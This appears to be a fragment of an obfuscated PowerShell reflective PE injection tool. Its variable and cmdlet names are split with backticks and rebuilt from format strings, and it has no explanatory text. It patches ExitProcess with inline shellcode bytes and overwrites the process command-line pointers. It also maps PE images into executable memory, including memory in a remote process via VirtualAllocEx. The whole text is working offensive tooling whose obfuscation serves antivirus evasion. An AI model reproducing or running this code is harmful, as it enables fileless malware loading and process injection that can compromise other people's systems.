${G`eTcoMManDli`N`E`WADdR`TemP} = &("{2}{0}{1}{4}{3}"-f 'edInt','AsU','Add-Sign','ned','nsig') ${g`ET`C`oM`MANDL`InEWAdd`Rt`EMP} (${SHELl`cOD`E1}."L`Eng`TH") |
|
[System.Runtime.InteropServices.Marshal]::"St`R`UCTuRe`TOp`TR"(${c`m`Dli`NewargSP`Tr}, ${GetComm`AND`li`N`e`Wa`dD`RtEMp}, ${f`A`lsE}) |
|
${gEtC`OmMAN`DlInEWA`Ddrte`mP} = &("{2}{3}{1}{0}{4}"-f'Unsi','dIntAs','Add-Si','gne','gned') ${GE`T`cOMMAN`DLiNEWa`Dd`RteMp} ${p`TR`siZe} |
|
&("{2}{0}{4}{1}{3}" -f 'To','mo','Write-Bytes','ry','Me') -Bytes ${s`hEllC`oDE2} -MemoryAddress ${GetComMa`ND`lIn`e`WADDR`TeMp} |
|
|
|
${WiN3`2FU`N`C`TIoNs}."vIrTU`A`l`pRot`ECt"."i`NVOKe"(${geTcOmmAnDLin`e`waD`DR}, [UInt32]${T`otAL`Size}, [UInt32]${OLDPR`OTE`CtF`L`AG}, [Ref]${O`Ld`p`ROTeCTfL`Ag}) | &("{2}{0}{1}" -f 'N','ull','Out-') |
|
${D`llli`ST} = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` |
|
, "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") |
|
|
|
foreach (${D`ll} in ${D`LlL`ISt}) |
|
{ |
|
[IntPtr]${D`LLHAn`DlE} = ${WIn32F`Un`Ctio`NS}."getMO`du`LEH`A`NdlE"."In`Voke"(${D`lL}) |
|
if (${DLLHAN`D`lE} -ne [IntPtr]::"ze`RO") |
|
{ |
|
[IntPtr]${WCm`dlna`d`Dr} = ${win3`2Fun`cT`ions}."get`P`RocaddR`ESs"."i`NvO`kE"(${d`ll`haND`lE}, "_wcmdln") |
|
[IntPtr]${ACM`dLnAd`Dr} = ${w`In3`2fu`NCt`ioNs}."ge`TPro`C`ADD`REss"."iN`Vo`KE"(${dLLhA`N`dlE}, "_acmdln") |
|
if (${w`C`MdL`Naddr} -eq [IntPtr]::"z`Ero" -or ${A`cMd`LnaDDR} -eq [IntPtr]::"ZE`Ro") |
|
{ |
|
"Error, couldn't find _wcmdln or _acmdln" |
|
} |
|
|
|
${NEW`Acm`D`lnPTr} = [System.Runtime.InteropServices.Marshal]::"Str`inG`T`oHg`lOBalaNSi"(${E`Xea`RGUm`ENTs}) |
|
${nEWwCM`DLnp`Tr} = [System.Runtime.InteropServices.Marshal]::"sTr`iN`gTOhgLOb`A`lUnI"(${eXeARG`UMeN`Ts}) |
|
|
|
${or`IgaCmdL`N`p`Tr} = [System.Runtime.InteropServices.Marshal]::"p`Tr`TOStRUCTUrE"(${AC`md`L`NaDDR}, [Type][IntPtr]) |
|
${OrIgwC`md`lNPtR} = [System.Runtime.InteropServices.Marshal]::"PTrTost`RUC`TurE"(${w`CmdlNa`DdR}, [Type][IntPtr]) |
|
${ori`ga`cmdLN`pTRsToR`AGE} = [System.Runtime.InteropServices.Marshal]::"A`LLoCH`GLoBAL"(${PT`R`sIze}) |
|
${OriG`wC`M`Dlnp`Trst`orAgE} = [System.Runtime.InteropServices.Marshal]::"AllO`chglo`B`AL"(${pT`R`siZE}) |
|
[System.Runtime.InteropServices.Marshal]::"STruC`TUr`Et`oP`Tr"(${O`RI`g`ACMDLNpTR}, ${o`RiGA`cmD`lNp`TR`STo`RaGE}, ${fa`lSe}) |
|
[System.Runtime.InteropServices.Marshal]::"S`TRuCtuRe`ToPtr"(${oR`IgWCmDLN`p`Tr}, ${oRIG`WCMdLnp`Tr`STOR`A`gE}, ${F`AlSE}) |
|
${R`ET`UrNa`RraY} += ,(${aCm`D`LnAdDR}, ${OriG`AcMdLNp`TRStO`R`AGE}, ${pt`RS`ize}) |
|
${retuRn`A`R`Ray} += ,(${WcmD`Lnad`dr}, ${oriGW`CmdlN`PtRST`ORagE}, ${ptRsI`ze}) |
|
|
|
${SUC`Ce`Ss} = ${WIN32fUn`c`TiONs}."v`IrTuAlPR`OTEcT"."INV`okE"(${acmDl`NAD`Dr}, [UInt32]${pt`RsI`ZE}, [UInt32](${Wi`N32c`O`NStAnts}."PAg`E_exEc`Ut`e_rEaD`wriTe"), [Ref]${o`lDpR`oTe`cTFLAG}) |
|
if (${S`UCce`sS} = ${FA`Lse}) |
|
{ |
|
throw "" |
|
} |
|
[System.Runtime.InteropServices.Marshal]::"struCt`Ur`eTO`p`Tr"(${nE`w`AcMDl`Np`TR}, ${ac`Md`L`NAddr}, ${f`ALsE}) |
|
${w`iN32`FUNc`TIo`NS}."v`IR`TUalpROtEct"."I`Nvoke"(${AC`m`DLnA`DdR}, [UInt32]${pt`Rsi`ZE}, [UInt32](${oLDp`RO`TE`c`TflAg}), [Ref]${O`ld`PROTecTfL`Ag}) | &("{0}{1}"-f'Out-N','ull') |
|
|
|
${Su`C`CEss} = ${win32fu`N`c`TioNS}."vi`R`TuaLPRO`T`ecT"."INVo`KE"(${WCm`d`LNa`ddr}, [UInt32]${PTRs`izE}, [UInt32](${W`I`N32constANTs}."PAG`E_E`X`eCUTE_re`A`dWri`TE"), [Ref]${OLD`PRoT`ECtFLAG}) |
|
if (${sucC`e`Ss} = ${F`A`lSe}) |
|
{ |
|
throw "" |
|
} |
|
[System.Runtime.InteropServices.Marshal]::"stRUC`TuR`et`OpTr"(${nEwWCMD`L`NPtR}, ${WC`md`LnaDDr}, ${fAl`sE}) |
|
${W`IN3`2FUNC`TIoNs}."v`IR`Tua`lPrOtEct"."IN`VOKe"(${WCMD`Ln`AD`Dr}, [UInt32]${pt`RSize}, [UInt32](${OlDP`ROtE`CtF`lAg}), [Ref]${oldp`RO`Te`CTFLAG}) | &("{1}{2}{0}" -f'ull','Out-','N') |
|
} |
|
} |
|
${reTuR`Narr`AY} = @() |
|
${eXiTfUN`CT`iO`NS} = @() |
|
|
|
|
|
[IntPtr]${mS`CORE`eha`NdLE} = ${W`In32fu`NCT`iO`Ns}."GEtMoD`ULEHA`NdLe"."inVO`KE"("mscoree.dll") |
|
if (${m`Scor`Eeh`ANdlE} -eq [IntPtr]::"Z`ero") |
|
{ |
|
throw "" |
|
} |
|
[IntPtr]${cOr`Ex`i`TPR`oceSS`ADDR} = ${W`In`32Fun`ctionS}."gEt`P`RoCaDdRe`Ss"."I`NvO`Ke"(${mSCO`R`eE`HaNdLe}, "CorExitProcess") |
|
if (${COrExI`T`PRoc`EsSAd`dr} -eq [IntPtr]::"z`Ero") |
|
{ |
|
Throw "" |
|
} |
|
${Ex`I`TFUnCtIo`Ns} += ${c`orE`xit`pROcessaDDR} |
|
|
|
|
|
[IntPtr]${eXIt`PRoC`eS`sAddr} = ${win32fuN`C`T`i`ons}."geT`Pr`OCaDDRess"."InvO`Ke"(${kerNel32`H`AnD`LE}, "ExitProcess") |
|
if (${eXiTPR`OcEsSaD`Dr} -eq [IntPtr]::"Z`eRO") |
|
{ |
|
Throw "" |
|
} |
|
${e`xi`TFunctIONS} += ${eX`I`TpRO`CEss`ADDR} |
|
|
|
[UInt32]${oL`dp`R`Ot`ECtFLAg} = 0 |
|
foreach (${PR`OcExi`TfuN`CT`i`OnA`DDr} in ${eXIt`FuncTI`onS}) |
|
{ |
|
${P`RocEX`itf`UNC`Tionad`D`R`TMP} = ${PR`oCeXI`T`FuNCtI`oNa`DdR} |
|
[Byte[]]${shelL`CO`de1} = @(0xbb) |
|
[Byte[]]${s`HelLcO`DE2} = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) |
|
if (${pt`RsI`Ze} -eq 8) |
|
{ |
|
[Byte[]]${sHEL`l`cOD`E1} = @(0x48, 0xbb) |
|
[Byte[]]${S`HeLL`Co`DE2} = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) |
|
} |
|
[Byte[]]${shEL`lc`o`dE3} = @(0xff, 0xd3) |
|
${TOT`A`LSize} = ${Sh`E`ll`coDE1}."l`e`NgTh" + ${PTr`S`IZE} + ${sheL`L`coDe2}."lenG`Th" + ${pTR`Si`Ze} + ${S`HeL`LC`ODe3}."LE`NgTh" |
|
|
|
[IntPtr]${ex`ittHreA`d`ADDr} = ${WIN3`2F`U`NcTIONs}."GEtPR`Oc`A`ddRE`Ss"."INVo`KE"(${Kern`EL`32HaNd`lE}, "ExitThread") |
|
if (${E`xIt`THr`ea`daDdR} -eq [IntPtr]::"z`eRo") |
|
{ |
|
Throw "" |
|
} |
|
${SUC`c`ess} = ${WI`N32Fu`NC`TIoNS}."VIrTuA`LP`R`ote`ct"."I`NvO`ke"(${PrOcExit`F`UNC`Ti`onA`dDr}, [UInt32]${To`TA`l`sIzE}, [UInt32]${Wi`N32C`O`NsTAnTs}."Page_e`X`eCuTE_rEADwr`ite", [Ref]${OL`DPRo`T`Ec`TfLAg}) |
|
if (${SU`Cc`eSS} -eq ${fA`lse}) |
|
{ |
|
Throw "" |
|
} |
|
|
|
${EX`itPROCEssoRIGb`Y`Te`SP`TR} = [System.Runtime.InteropServices.Marshal]::"AlLo`chg`LObaL"(${tOt`A`lSiZE}) |
|
${wiN`3`2`FuN`CtIONS}."me`MCpy"."inV`O`ke"(${EXiTPr`OCESsO`Rigb`ytes`ptR}, ${pRO`ceXItFU`NCT`ion`AdDR}, [UInt64]${T`oTALs`i`zE}) | &("{1}{0}"-f 'll','Out-Nu') |
|
${REtU`RNAR`RAy} += ,(${pR`Oc`exitF`UNctiON`Addr}, ${exItP`R`OC`eSsORigBy`TespTR}, ${t`O`TalSiZE}) |
|
|
|
&("{3}{4}{2}{0}{5}{1}" -f't','y','e-By','Wri','t','esToMemor') -Bytes ${sHeLLCo`D`E1} -MemoryAddress ${p`Ro`cEXItFu`NCt`I`O`NaDDRTMp} |
|
${P`ROce`X`iTfuncTioN`A`DDrTmp} = &("{1}{0}{2}{4}{5}{3}" -f 'dd-Sign','A','edI','ed','ntAsU','nsign') ${p`ROcexiT`FUnctIO`N`AdD`Rt`MP} (${shEL`LC`oDE1}."leNg`TH") |
|
[System.Runtime.InteropServices.Marshal]::"ST`RucTu`RE`TopTR"(${e`xeDO`NEbYt`EPtr}, ${proce`XI`TfuNcTio`Na`DDrt`mP}, ${FAL`se}) |
|
${PR`OcEx`iTfun`cTIONADD`R`T`Mp} = &("{4}{1}{6}{5}{2}{3}{0}" -f'ed','d-Si','AsUn','sign','Ad','nedInt','g') ${pr`O`c`ex`Itf`UNcTiONAdDRtmP} ${Ptr`sIZe} |
|
&("{0}{4}{5}{3}{1}{2}"-f 'Wr','esT','oMemory','t','ite','-By') -Bytes ${sh`ELlcO`dE2} -MemoryAddress ${PROCEx`iT`Fun`ctIo`Na`DDR`TMP} |
|
${ProcExIt`Fu`N`ct`iONadDRT`mP} = &("{0}{2}{5}{4}{3}{1}" -f 'A','gned','dd-Sig','nsi','ntAsU','nedI') ${pRocExi`TfUNCtIo`N`Ad`DRTMP} (${ShE`Llc`OdE2}."Le`Ngth") |
|
[System.Runtime.InteropServices.Marshal]::"sTRuC`TuR`eT`opTr"(${exItth`ReaDA`D`Dr}, ${pr`OCe`xITFuNc`T`iONADD`Rt`Mp}, ${FA`lse}) |
|
${P`Rocexitf`U`NCti`On`AdDr`T`MP} = &("{5}{2}{1}{4}{0}{3}"-f'igne','ignedIntAsU','S','d','ns','Add-') ${prOCe`X`ItFu`NcTIonaD`dRtMp} ${P`Tr`Size} |
|
&("{1}{3}{4}{0}{2}{5}"-f'tesToMemo','Writ','r','e','-By','y') -Bytes ${Sh`e`LLcO`de3} -MemoryAddress ${prOCEXi`T`F`UN`CtIo`NaD`drtmP} |
|
${Win32FU`N`CT`iONS}."VIr`TUalpr`OT`ECt"."InvO`Ke"(${P`ROcE`XItFuNC`Tio`NA`D`DR}, [UInt32]${toTA`ls`Ize}, [UInt32]${OL`DproT`eCtfLAG}, [Ref]${Ol`dPRO`T`ectFL`Ag}) | &("{0}{1}" -f'Out','-Null') |
|
} |
|
&("{2}{0}{1}"-f '-','Output','Write') ${re`T`Urn`ArrAY} |
|
} |
|
Function CO`pY-Arra`Y`o`F`MEmad`dReS`SEs |
|
{ |
|
Param( |
|
[Parameter(PoSITiON = 0, MANdATORY = ${t`RuE})] |
|
[Array[]] |
|
${cop`YIn`Fo}, |
|
|
|
[Parameter(pOsiTIon = 1, MANDaTORY = ${tR`Ue})] |
|
[System.Object] |
|
${wIn32f`Unc`Ti`ons}, |
|
|
|
[Parameter(position = 2, mANdatoRY = ${t`Rue})] |
|
[System.Object] |
|
${WIn3`2C`oNsTan`Ts} |
|
) |
|
[UInt32]${olD`pRO`T`ecT`FLAG} = 0 |
|
foreach (${I`Nfo} in ${co`PY`INFO}) |
|
{ |
|
${s`UcCEsS} = ${wIN32`F`U`NctI`Ons}."vIr`TUA`l`pROTe`Ct"."In`V`Oke"(${I`NFo}[0], [UInt32]${i`NfO}[2], [UInt32]${WIn32c`ONSTa`NTs}."PAge_`ExecU`T`e_rEadWr`iTe", [Ref]${o`ldPR`O`TecTfl`Ag}) |
|
if (${Suc`CE`ss} -eq ${fAl`SE}) |
|
{ |
|
Throw "" |
|
} |
|
|
|
${w`iN3`2Fu`NCtIoNs}."MemC`pY"."InV`OKe"(${In`Fo}[0], ${i`Nfo}[1], [UInt64]${i`Nfo}[2]) | &("{0}{1}" -f'Ou','t-Null') |
|
|
|
${w`in32`FunCTIons}."VIRtUA`LPr`oTe`ct"."I`NVoKe"(${iN`Fo}[0], [UInt32]${IN`FO}[2], [UInt32]${ol`dPROt`ect`FLAg}, [Ref]${Ol`D`ProteC`T`FLaG}) | &("{0}{1}"-f'Out-Nul','l') |
|
} |
|
} |
|
Function G`ET-M`e`MoRYPROCaDdreSS |
|
{ |
|
Param( |
|
[Parameter(positiON = 0, mANdATory = ${TR`UE})] |
|
[IntPtr] |
|
${pE`h`ANDLe}, |
|
|
|
[Parameter(posITiOn = 1, maNDatoRy = ${T`RUe})] |
|
[String] |
|
${fUnc`TI`On`NaME} |
|
) |
|
|
|
${WIN3`2TY`PES} = &("{3}{2}{1}{0}" -f'pes','Ty','n32','Get-Wi') |
|
${Win`32c`oN`sta`NTS} = &("{3}{1}{0}{2}" -f 'onsta','n32C','nts','Get-Wi') |
|
${P`EiNFo} = &("{0}{3}{2}{1}"-f 'G','ledInfo','-PEDetai','et') -PEHandle ${PEhA`N`Dle} -Win32Types ${WIN32`Ty`PeS} -Win32Constants ${wIN`32`COn`STANtS} |
|
|
|
|
|
if (${p`einfO}."Ima`ge_Nt_H`e`AdErs"."O`Pt`ioNALH`EaDEr"."e`XPoRtt`ABle"."s`Ize" -eq 0) |
|
{ |
|
return [IntPtr]::"zE`Ro" |
|
} |
|
${exPOrTTa`BLep`TR} = &("{0}{3}{2}{4}{1}" -f'Add-Sig','d','sUnsig','nedIntA','ne') (${p`e`HAnDLE}) (${p`EI`NfO}."ImAGE_`N`T_`h`eadErS"."optiOna`L`hEaD`Er"."EXP`orTT`A`BLe"."VI`RTuAlA`d`drEss") |
|
${ExP`o`R`TTable} = [System.Runtime.InteropServices.Marshal]::"ptR`TO`Str`UcTUrE"(${E`xp`ORTTa`BlE`ptR}, [Type]${wi`N32`Typ`ES}."i`mage`_`eXPoRT`_`DiRECTORy") |
|
|
|
for (${I} = 0; ${i} -lt ${eX`P`oRT`TAbLe}."numb`eR`oFn`AmES"; ${I}++) |
|
{ |
|
${nameOf`F`setPtR} = &("{2}{1}{5}{0}{3}{4}" -f 'AsUnsi','edIn','Add-Sign','gn','ed','t') (${P`eHA`Ndle}) (${eX`PorTTA`BLE}."adD`Re`ss`ofN`AMes" + (${i} * [System.Runtime.InteropServices.Marshal]::"Si`zEOF"([Type][UInt32]))) |
|
${nA`m`EpTr} = &("{1}{6}{5}{0}{3}{2}{4}"-f 'ign','Ad','n','edI','tAsUnsigned','-S','d') (${P`eha`N`DlE}) ([System.Runtime.InteropServices.Marshal]::"P`TRto`STR`UcTUre"(${NA`meOffS`e`T`PtR}, [Type][UInt32])) |
|
${Na`me} = [System.Runtime.InteropServices.Marshal]::"ptRT`oStr`iN`GA`NSi"(${nAMe`p`Tr}) |
|
if (${N`Ame} -ceq ${FuN`ct`IO`NnAmE}) |
|
{ |
|
${orDi`N`AlPTr} = &("{1}{0}{2}{4}{3}"-f '-Si','Add','gnedIn','d','tAsUnsigne') (${p`eh`AndLe}) (${eXPo`Rt`TA`BLE}."Ad`drESs`oFN`AmeOr`DIn`A`ls" + (${i} * [System.Runtime.InteropServices.Marshal]::"sIZ`eof"([Type][UInt16]))) |
|
${fuNc`inD`EX} = [System.Runtime.InteropServices.Marshal]::"PT`R`TO`S`TRuCtURe"(${o`Rdi`NA`lPTR}, [Type][UInt16]) |
|
${FU`NcOF`FSeTA`dDr} = &("{0}{5}{2}{1}{3}{4}"-f 'A','IntAsU','igned','nsign','ed','dd-S') (${Pe`HAN`DLE}) (${e`xp`orTt`ABlE}."AddrE`SsOffUn`Ctio`NS" + (${fUnC`i`N`deX} * [System.Runtime.InteropServices.Marshal]::"s`IZ`eOf"([Type][UInt32]))) |
|
${Fu`NcoF`FSeT} = [System.Runtime.InteropServices.Marshal]::"pTrTosTR`U`c`Tu`RE"(${funC`Of`F`sETa`dDr}, [Type][UInt32]) |
|
return &("{2}{1}{3}{0}"-f'signed','ign','Add-S','edIntAsUn') (${Pe`H`AnDLe}) (${fuN`C`oFF`seT}) |
|
} |
|
} |
|
|
|
return [IntPtr]::"z`erO" |
|
} |
|
Function INV`OKE`-MEMOrYL`oaDli`BRArY |
|
{ |
|
Param( |
|
[Parameter( poSiTiON = 0, mAnDAToRy = ${t`RUE} )] |
|
[Byte[]] |
|
${p`ebYT`es}, |
|
|
|
[Parameter(PoSITIon = 1, MANdATorY = ${fal`sE})] |
|
[String] |
|
${EXe`A`RGS}, |
|
|
|
[Parameter(positioN = 2, mAnDaToRY = ${f`A`LsE})] |
|
[IntPtr] |
|
${rEmoTEPrO`c`H`AnDle}, |
|
[Parameter(PoSItIon = 3)] |
|
[Bool] |
|
${forCe`A`SlR} = ${F`A`lSe} |
|
) |
|
|
|
${P`TR`SIze} = [System.Runtime.InteropServices.Marshal]::"sIZe`OF"([Type][IntPtr]) |
|
|
|
|
|
${wI`N3`2CO`NsTAn`TS} = &("{2}{1}{3}{0}{5}{4}" -f 'ta','n','Get-Wi','32Cons','ts','n') |
|
${W`in3`2`FUNctIons} = &("{1}{3}{4}{2}{0}"-f 'ions','Get-Win3','t','2','Func') |
|
${WiN3`2ty`peS} = &("{3}{1}{2}{0}"-f'pes','-Win','32Ty','Get') |
|
|
|
${R`emoTEloa`DiNG} = ${fA`Lse} |
|
if ((${REmOt`ePROC`h`An`d`le} -ne ${n`ULL}) -and (${REmOt`ePRo`ch`AnD`lE} -ne [IntPtr]::"z`eRO")) |
|
{ |
|
${R`eMOTeloA`d`ing} = ${t`RUE} |
|
} |
|
|
|
&("{2}{0}{1}"-f'e-Verbos','e','Writ') "" |
|
${P`eiNFO} = &("{1}{0}{2}{3}"-f'e','G','t-PEBasicInf','o') -PEBytes ${pEb`yt`ES} -Win32Types ${wi`N3`2TYpEs} |
|
${oRi`gINA`liMA`gE`B`Ase} = ${P`EIn`Fo}."orI`giN`ALiM`A`GebAse" |
|
${NxCom`patI`Ble} = ${Tr`UE} |
|
if (([Int] ${pEi`N`FO}."D`LlCHaraC`T`erI`sTICs" -band ${wI`N32cOns`TaN`TS}."iM`AgE_`d`LlC`hArACTERIsTics_nx`_`c`oMPat") -ne ${w`IN32c`OnsT`ANTS}."IMaGe_d`LlchA`RAC`TE`RI`stics_NX`_cOm`paT") |
|
{ |
|
&("{1}{2}{0}{3}"-f 'rni','Write-W','a','ng') "....." -WarningAction ("{0}{2}{1}" -f'C','nue','onti') |
|
${n`Xcomp`ATib`le} = ${fal`SE} |
|
} |
|
|
|
|
|
${p`RoCeSS`64biT} = ${tR`UE} |
|
if (${r`EMoTe`LOAD`I`Ng} -eq ${t`RUE}) |
|
{ |
|
${kEr`Ne`L32HAnDlE} = ${w`IN32f`U`NCTionS}."gETmODulE`HA`N`dLe"."In`VOkE"("kernel32.dll") |
|
${rEs`ULT} = ${wi`N32F`U`NCTions}."GeT`p`ROcadD`ReSs"."I`Nv`oKE"(${Ke`RNeL32`HA`NDLE}, "IsWow64Process") |
|
if (${re`S`UlT} -eq [IntPtr]::"zE`Ro") |
|
{ |
|
Throw "" |
|
} |
|
|
|
[Bool]${WOw`64PRO`ce`Ss} = ${F`ALse} |
|
${suC`Ce`ss} = ${wIn32f`UNCt`IonS}."IswO`w64p`RO`CEsS"."IN`VoKE"(${rEmo`TEpR`o`cHANDLe}, [Ref]${wow64pRo`C`Ess}) |
|
if (${S`Uc`cESS} -eq ${FA`LSE}) |
|
{ |
|
Throw "" |
|
} |
|
|
|
if ((${WoW6`4pR`OCESs} -eq ${tr`Ue}) -or ((${woW`64PRoc`e`sS} -eq ${FaL`sE}) -and ([System.Runtime.InteropServices.Marshal]::"S`IZeof"([Type][IntPtr]) -eq 4))) |
|
{ |
|
${ProcEs`S`6`4B`iT} = ${F`AlSE} |
|
} |
|
|
|
${PowER`Sh`e`lL`64BIt} = ${T`Rue} |
|
if ([System.Runtime.InteropServices.Marshal]::"S`iZEof"([Type][IntPtr]) -ne 8) |
|
{ |
|
${POw`eRSHEl`L`64Bit} = ${fa`L`SE} |
|
} |
|
if (${powERSHell`64`B`it} -ne ${P`Roc`esS64`BiT}) |
|
{ |
|
throw "" |
|
} |
|
} |
|
else |
|
{ |
|
if ([System.Runtime.InteropServices.Marshal]::"S`iZe`OF"([Type][IntPtr]) -ne 8) |
|
{ |
|
${Pr`OCEss64`BIt} = ${Fa`LSE} |
|
} |
|
} |
|
if (${pRo`C`E`sS64B`it} -ne ${P`eIn`FO}."PE6`4B`it") |
|
{ |
|
Throw "" |
|
} |
|
|
|
&("{0}{3}{1}{2}" -f'Wri','Verbo','se','te-') "" |
|
|
|
[IntPtr]${lo`AdAD`Dr} = [IntPtr]::"ZE`RO" |
|
${P`eSuPpo`R`TsAs`Lr} = ([Int] ${pe`I`NfO}."dllc`H`ARaC`T`erI`sTICS" -band ${w`in3`2coNsT`An`TS}."i`MAG`E`_DLlCH`AR`AcTERI`sT`ICS_dy`NaMic`_`BASe") -eq ${wI`N32coN`St`ANTS}."iMA`ge_dllCHAract`ERISTiCs`_d`YnAMI`c_ba`sE" |
|
if ((-not ${fO`RCeAs`LR}) -and (-not ${p`ESUpP`orT`SASlr})) |
|
{ |
|
&("{1}{4}{2}{3}{0}" -f'g','Wr','e-Warn','in','it') "" -WarningAction ("{2}{1}{0}"-f'tinue','on','C') |
|
[IntPtr]${L`oaDA`DDr} = ${or`i`g`in`ALImagebaSE} |
|
} |
|
elseif (${f`or`CEas`lr} -and (-not ${PE`sup`PORTs`AsLr})) |
|
{ |
|
&("{0}{1}{2}{3}" -f 'W','rit','e-Verbos','e') "" |
|
} |
|
if (${fo`RCe`ASlR} -and ${Re`moTe`LO`ADi`Ng}) |
|
{ |
|
&("{0}{1}{2}"-f 'W','ri','te-Error') "" -ErrorAction ("{1}{0}" -f'p','Sto') |
|
} |
|
if (${rEmO`Te`LoAD`Ing} -and (-not ${P`es`U`ppoRTS`ASLR})) |
|
{ |
|
&("{1}{2}{0}{3}" -f 'e-E','Wri','t','rror') "" -ErrorAction ("{0}{1}" -f'S','top') |
|
} |
|
${PEhAn`dlE} = [IntPtr]::"Ze`RO" |
|
${e`Ff`eCtIvep`EHANDlE} = [IntPtr]::"Ze`Ro" |
|
if (${rem`o`TeL`O`ADINg} -eq ${t`RUe}) |
|
{ |
|
${pE`Han`dLE} = ${wIn32`F`UnC`Tions}."vi`RTuAla`LLOC"."I`NvoKe"([IntPtr]::"ze`Ro", [UIntPtr]${p`EInFO}."SiZ`Eof`ImAgE", ${W`In32c`O`NSTANts}."M`Em`_C`omMiT" -bor ${Wi`N32cO`Ns`Tan`TS}."me`M`_REsERvE", ${wIN32ConS`T`A`Nts}."P`Age`_REA`DwRitE") |
|
${EfF`Ecti`V`Ep`eH`AnDLe} = ${WI`N32`Functions}."V`ir`TuAla`LloCeX"."iN`VOke"(${RemOTe`P`ROChAN`D`lE}, ${loadAd`dr}, [UIntPtr]${pE`i`NFo}."SIZEO`F`ImAgE", ${wi`N`3`2COnSTAN`TS}."MeM_C`OM`MIt" -bor ${WI`N32co`NSt`A`NTs}."Mem_`Reser`VE", ${win32C`oNST`A`Nts}."PAGe_EXe`Cu`Te`_ReaDWr`iTe") |
|
if (${E`Ffecti`V`ePeh`AnDlE} -eq [IntPtr]::"Z`eRO") |
|
{ |
|
Throw "" |
|
} |
|
} |
|
else |
|
{ |
|
if (${nxc`OMP`AtiB`Le} -eq ${t`RUe}) |
|
{ |
|
${pEh`And`Le} = ${w`i`N32FUNCTIo`Ns}."ViR`Tu`ALal`loC"."I`NvOKE"(${loa`D`A`ddR}, [UIntPtr]${pei`N`Fo}."sIZEO`F`imA`ge", ${WiN`32Co`NSTAnTs}."mEm_c`O`mMiT" -bor ${wIN`32cONST`AN`Ts}."M`eM_R`ESE`RVE", ${w`iN32CO`NsT`ANts}."PaGe_`R`eAdwrite") |
|
} |
|
else |
|
{ |
|
${pEHA`N`dle} = ${win3`2fUNctIO`NS}."Virt`UAlaL`Loc"."IN`VOke"(${L`OaDa`ddr}, [UIntPtr]${P`e`Info}."s`iZeoFI`Mage", ${wiN32C`on`st`A`Nts}."M`em_cOm`MIt" -bor ${wI`N`32coNStANtS}."ME`m_`REs`ERVe", ${WiN32C`ONsT`A`Nts}."Pa`g`E_E`Xec`UtE_REAd`w`RitE") |
|
} |
|
${EfFecTIVE`PeHAN`D`LE} = ${Pe`h`AnDle} |
|
} |
|
|
|
[IntPtr]${P`eendaDdrE`ss} = &("{1}{3}{2}{0}" -f'ned','Add','sig','-SignedIntAsUn') (${peh`An`dLe}) ([Int64]${pe`i`NFo}."S`iZ`EOfI`mAgE") |
|
if (${peH`An`dlE} -eq [IntPtr]::"Ze`Ro") |
|
{ |
|
Throw "" |
|
} |
|
[System.Runtime.InteropServices.Marshal]::"CO`PY"(${P`Eby`Tes}, 0, ${peH`AN`dle}, ${pei`NFo}."siZe`OfH`ead`ErS") | &("{0}{1}{2}"-f'Out-Nu','l','l') |
|
|
|
|
|
&("{0}{1}{2}" -f 'Wri','te','-Verbose') "" |
|
${peiN`Fo} = &("{1}{3}{2}{0}"-f 'fo','Get-PEDeta','dIn','ile') -PEHandle ${pE`HA`N`DLE} -Win32Types ${Win32`TY`pEs} -Win32Constants ${Win`3`2c`oNStANTs} |
|
${p`EiN`Fo} | &("{0}{2}{1}" -f 'Add-','ber','Mem') -MemberType ("{1}{2}{0}"-f 'ty','Not','eProper') -Name ("{1}{2}{0}"-f'ddress','E','ndA') -Value ${peen`Da`DdreSs} |
|
${pEI`N`FO} | &("{2}{0}{1}"-f'd-','Member','Ad') -MemberType ("{2}{0}{3}{1}" -f 'roper','y','NoteP','t') -Name ("{5}{3}{4}{0}{1}{2}" -f'PE','H','andle','fec','tive','Ef') -Value ${ef`FEc`TiVEp`eHandlE} |
|
&("{1}{0}{2}{3}"-f 'te-Ve','Wri','r','bose') "" |
|
|
|
|
|
&("{4}{3}{1}{0}{2}"-f 'os','te-Verb','e','ri','W') "" |
|
&("{2}{1}{3}{0}" -f'tions','S','Copy-','ec') -PEBytes ${pEB`YteS} -PEInfo ${pe`InfO} -Win32Functions ${W`IN`3`2funCtiOnS} -Win32Types ${w`In3`2`TYpes} |
|
&("{1}{0}{3}{2}"-f'ite-V','Wr','se','erbo') "" |
|
&("{3}{0}{4}{2}{1}"-f'ate-MemoryA','es','ss','Upd','ddre') -PEInfo ${pEi`Nfo} -OriginalImageBase ${ORIGi`NaLim`AGE`BAsE} -Win32Constants ${wi`N3`2C`oNSTA`NtS} -Win32Types ${w`in32`TY`pes} |
|
&("{1}{3}{2}{0}" -f 'erbose','W','V','rite-') "" |
|
if (${REMoTEl`Oa`d`I`NG} -eq ${tR`UE}) |
|
{ |
|
&("{3}{0}{2}{4}{1}"-f 'mp','mports','ort-Dl','I','lI') -PEInfo ${pE`In`Fo} -Win32Functions ${W`i`N32fUn`CtioNs} -Win32Types ${w`in`32TY`PEs} -Win32Constants ${W`in3`2cOnstA`NtS} -RemoteProcHandle ${RE`MOT`Ep`RochaN`DlE} |
|
} |
|
else |
|
{ |
|
&("{2}{5}{3}{0}{4}{1}"-f'p','ts','Import-Dl','Im','or','l') -PEInfo ${PeI`N`Fo} -Win32Functions ${W`IN32fUNCT`i`oNS} -Win32Types ${win32`T`ypeS} -Win32Constants ${Wi`N`32`C`OnStanTS} |
|
} |
|
|
|
|
|
if (${rEmOt`El`o`ADinG} -eq ${Fal`se}) |
|
{ |
|
if (${nXCO`mp`ATI`BlE} -eq ${Tr`Ue}) |
|
{ |
|
&("{1}{0}{3}{2}"-f 'e','Write-V','se','rbo') "" |
|
&("{4}{1}{2}{0}{3}" -f'emoryProtect','date-','M','ionFlags','Up') -PEInfo ${PE`i`NFo} -Win32Functions ${w`In`32FunctionS} -Win32Constants ${Win`32C`oNstAnTs} -Win32Types ${wi`N`32TYP`Es} |
|
} |
|
else |
|
{ |
|
&("{3}{2}{1}{0}"-f'se','rbo','rite-Ve','W') "" |
|
} |
|
} |
|
else |
|
{ |
|
&("{0}{1}{2}"-f'Write','-Verb','ose') "" |
|
} |
|
|
|
|
|
